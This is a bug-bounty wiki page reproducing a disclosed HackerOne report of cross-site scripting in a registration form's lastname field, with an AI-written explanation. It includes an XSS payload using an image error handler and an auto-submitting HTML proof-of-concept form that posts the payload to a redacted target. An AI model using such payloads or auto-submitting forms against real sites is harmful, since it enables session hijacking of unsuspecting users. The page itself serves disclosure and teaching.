Skip to content
XSS Disclosed report Beginner

POST XSS - fields[account][lastname] parameter

A registration form accepted a script-bearing value in the last name field and later rendered it without proper encoding, so the injected markup executed in the browser. An attacker could use this to run script in a victim's session and potentially steal cookies or hijack the session.

jonasdiasrebelo Follow

Originally disclosed on HackerOne

  • Triaged in under an hour
  • Fixed in 28 days
  • Disclosed after 8 months

Description: I discovered a Cross-Site Scripting (XSS) vulnerability on ████ , specifically through the POST method. This vulnerability allows an attacker to inject malicious scripts that could be executed, potentially leading to cookie theft, session hijacking, and other malicious actions.

Vulnerable parameter: fields[account][lastname] Payload: <img+src=x+onerror=prompt(1)>

References

████

Impact

Exploitation of this vulnerability can lead to severe consequences, including but not limited: Session Hijacking: Attackers can steal cookies and impersonate legitimate users.

System Host(s)

███████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Use this code in your own website to execute the XSS Method Post.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="████" method="POST">
      <input type="hidden" name="fields&#91;account&#93;&#91;firstname&#93;" value="fnfOzvSR" />
      <input type="hidden" name="fields&#91;account&#93;&#91;lastname&#93;" value="fnfOzvSR&lt;img&#32;src&#61;x&#32;onerror&#61;prompt&#40;1&#41;&gt;" />
      <input type="hidden" name="fields&#91;contacts&#93;&#91;email&#93;" value="testing&#64;example&#46;com" />
      <input type="hidden" name="fields&#91;contacts&#93;&#91;phone&#93;" value="555&#45;666&#45;0606" />
      <input type="hidden" name="formid" value="crm&#95;register&#95;form" />
      <input type="hidden" name="formstart" value="1746419942" />
      <input type="hidden" name="type" value="Register" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Suggested Mitigation/Remediation Actions

Apply context-dependent encoding and/or validation to user input rendered on a page

The original report as published on HackerOne, by jonasdiasrebelo. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application stored user-supplied form input and rendered it back into a page without context-appropriate output encoding.

Impact

An attacker could execute script in a victim's browser, which may lead to cookie theft and session hijacking, though the report does not demonstrate these beyond the script prompt.

What the attacker needed

Victim visits a crafted page

How it was found

  1. Host a page containing an auto-submitting form that posts to the target registration endpoint.
  2. Set the last name field to a value containing an image tag with an error handler.
  3. Submit the form so the value is sent to the application.
  4. Observe the script executing when the value is rendered.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This could let an attacker act as the logged-in user, for example by stealing their session cookie.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by jonasdiasrebelo

View all

27 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.